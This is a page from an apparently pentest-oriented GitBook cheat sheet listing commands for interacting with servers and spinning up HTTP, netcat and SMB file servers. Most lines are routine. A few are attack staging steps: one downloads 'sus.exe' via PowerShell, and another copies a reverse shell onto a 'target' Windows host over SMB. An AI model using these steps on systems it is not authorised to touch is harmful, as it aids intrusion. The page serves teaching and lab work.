ShellSpells
  • đŸ§™â€â™‚ī¸Welcome!
    • ShellSpells
    • FAQs
    • License & Disclaimer
  • 🐧Linux
    • System Ops
      • Transcripts
      • Help
      • System Info
        • Date/Time
        • System Details
        • Patches & Updates
        • Init System Identification
        • Hostname / Host ID
        • Variables
        • Hardware & Resources
      • Filesystem
        • Traverse & Enumerate
        • Drives & Partitions
        • Shares
        • Packages
        • Connected Devices
        • Kernel Modules (Drivers)
      • Users & Groups
        • Enumerate
        • Modify
      • Network
        • Enumerate
        • Modify
      • Scheduled Jobs
        • Enumerate
        • Modify
      • Processes
        • Enumerate
        • Modify
        • Custom Script and Shared Object
        • Process I/O Redirection
      • Services
        • Enumerate
        • Modify
        • Create a Service
      • Startup/Boot Scripts
        • Enumerate
        • Modify
      • Security
        • Antivirus
        • Firewall
        • SSH Keys
      • History & Logs
        • History
        • Logs
    • File Ops
      • Search
        • Filename
        • Content
        • Users (Owners)
        • Time
        • Size
        • Permission
        • Hidden Files
        • Inode
        • Find + Exec
        • Notes
      • Enumerate Metadata
      • Modify Metadata
      • Read Content
      • Modify Content
      • Extract Content
      • Sort / Compare / Count
      • Move
      • Copy
      • Execute
      • Hash
      • Encode/Decode
      • Compress/Decompress
      • Working With Weird Filenames
    • Terminal Ops
      • Keyboard Shortcuts
      • Tmux Shortcuts
  • đŸĒŸWindows
    • System Ops
      • Transcripts
      • Help
      • System Info
        • One-liners
        • Date/Time
        • System Details
        • Hotfixes
        • Domain or Workgroup
        • Data Execution Prevention
        • Variables
        • Hardware & Resources
      • Filesystem
        • Traverse & Enumerate
        • Drives & Partitions
        • Installed Software
        • Drivers
        • Shares
      • Registry
        • Enumerate
        • Modify
        • Forensically Relevant Keys
      • Users & Groups
        • Enumerate
        • Modify
      • Network
        • Enumerate
        • Modify
      • Scheduled Tasks
      • Processes
        • Enumerate
        • Modify
      • Services
        • Enumerate
        • Modify
      • Autorun / Startup
        • Enumerate
        • Modify
      • Security
        • Permissions
          • Enumerate
          • Page
        • Antivirus
        • Firewall
          • Enumerate
          • Modify
        • Audit Policies
        • Remoting
          • Enumerate
          • Modify
          • Registry Locations
        • Stored Credentials
      • Remote Command Execution
      • Active Directory
        • Enumerate
        • Modify
      • History & Logs
        • History
        • Logs
      • PowerShell Config
      • Scripting
      • WMIC Notes
    • File Ops
      • Search
        • Filename
        • Time
        • Size
        • Permissions
        • Attributes
        • Wildcarding
      • Enumerate Metadata
        • One Liners
        • Users (Owners)
        • Timestamps
        • Size
        • Permissions
        • Attributes
      • Modify Metadata
        • Change Owner
        • Timestamps
        • Size
        • Attributes
      • Read Content
      • Modify Content
        • Overwrite
        • Insert
        • Append
        • Replace / Remove
        • Convert Case
        • Alternate Data Streams
      • Extract Content
      • Sort / Compare / Count
        • Sort
        • Count
        • Compare
      • Move
      • Copy
      • Execute
      • Hash
      • Encode/Decode
      • Compress/Decompress
      • Working With Weird Filenames
      • Output Formatting / Filtering
      • File Formatting
      • Operators
  • â›“ī¸Network
    • Traffic Manipulation
      • iptables
        • Option List
        • General Commands
        • Filter Tables
        • NAT
        • Mangle
        • Filter for SSH Traffic (Example)
      • nftables
    • Packet Capture
      • Syntax
      • TCPDump Examples
    • Packet Analysis
      • Wireshark
  • 🚗Maneuver
    • SSH
    • Control Sockets
    • RDP
    • Windows Port Proxy
  • đŸ›Šī¸Data Transfer
    • SCP
    • FTP
    • Netcat
      • Netcat Relays
    • Server Interactions
    • Alternate Methods
  • đŸĒ„REGEX
    • Examples
Powered by GitBook
On this page
  • Interact with Servers
  • Create a Server
  • Python
  • Updog
  • Netcat
  • SMB server

Was this helpful?

  1. Data Transfer

Server Interactions

Interact with Servers

curl -v http://<ip>

Access a website

curl -X POST http://website -d 'username=user&password=pa$$word'

Use POST method to login to website

curl -o stuff.html http://website/stuff.html

Save to file

wget https://website.com/file.txt

Pull specified file

wget -r http://<ip>

Download all files recursively

wget -r ftp://<ip>

Download the files from FTP server

ftp <ip>

Connect to FTP

sftp <ip>

Secure FTP

powershell -c wget http://<localIP>:8080/sus.exe -outfile sus.exe

Download from URL

Send Cookie settings with data, then pipe results:

curl 'website' -H 'Cookie: name=user; settings=1,2,3,4,5,6,7' --data 'name=User' | base64 -d > item.png

Connect and send HTTP Request.

nc www.example.com 80

This will take you to a blank line. This means you are connected but will display nothing until you send a HTTP request

GET / HTTP/1.1

OR

GET /

Interact with a webpage using /dev/tcp:

exec 3<>/dev/tcp/www.google.com/80

echo -e "GET / HTTP/1.1\r\nhost: http://www.google.com\r\nConnection: close\r\n\r\n" >&3

cat <&3

Create a Server

Python

python3 -m http.server

Creates a Python HTTP server

python3 -m SimpleHTTPServer

Creates a Python HTTP server

There is no indexing with this method.

You need to know exact file location when pulling a file.

Updog

updog

Serve from your current dir

updog -d /dir

Serve from another dir

updog -p 1234

Serve from port 1234

updog --password pa$$word

Password protect the page

Updog --ssl

Use an SSL connection

pip3 install updog

Install Updog

Note: updog uses HTTP basic authentication.

To login, you should leave the username blank and just enter the password in the password field.

https://github.com/sc0tfree/updog

Netcat

Serve a basic webpage

nc -lp 1234 < index.html

This will serve the page only once then quit

while true; do nc -lp 8080 < index.html; done

This will keep it up until you stop it

Pulling a webpage

Connect and send HTTP Request.

nc www.example.com 80

This will take you to a blank line. This means you are connected but will display nothing until you send a HTTP request

GET / HTTP/1.1

OR

GET /

SMB server

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py <yourHostname> .

Transfer to windows using SMB. Put your reverse shell in the pwd and run this on the target:

copy \\10.10.10.1\<YourHostname>\sus.exe C:\sus.exe
PreviousNetcat RelaysNextAlternate Methods

Last updated 1 year ago

Was this helpful?

đŸ›Šī¸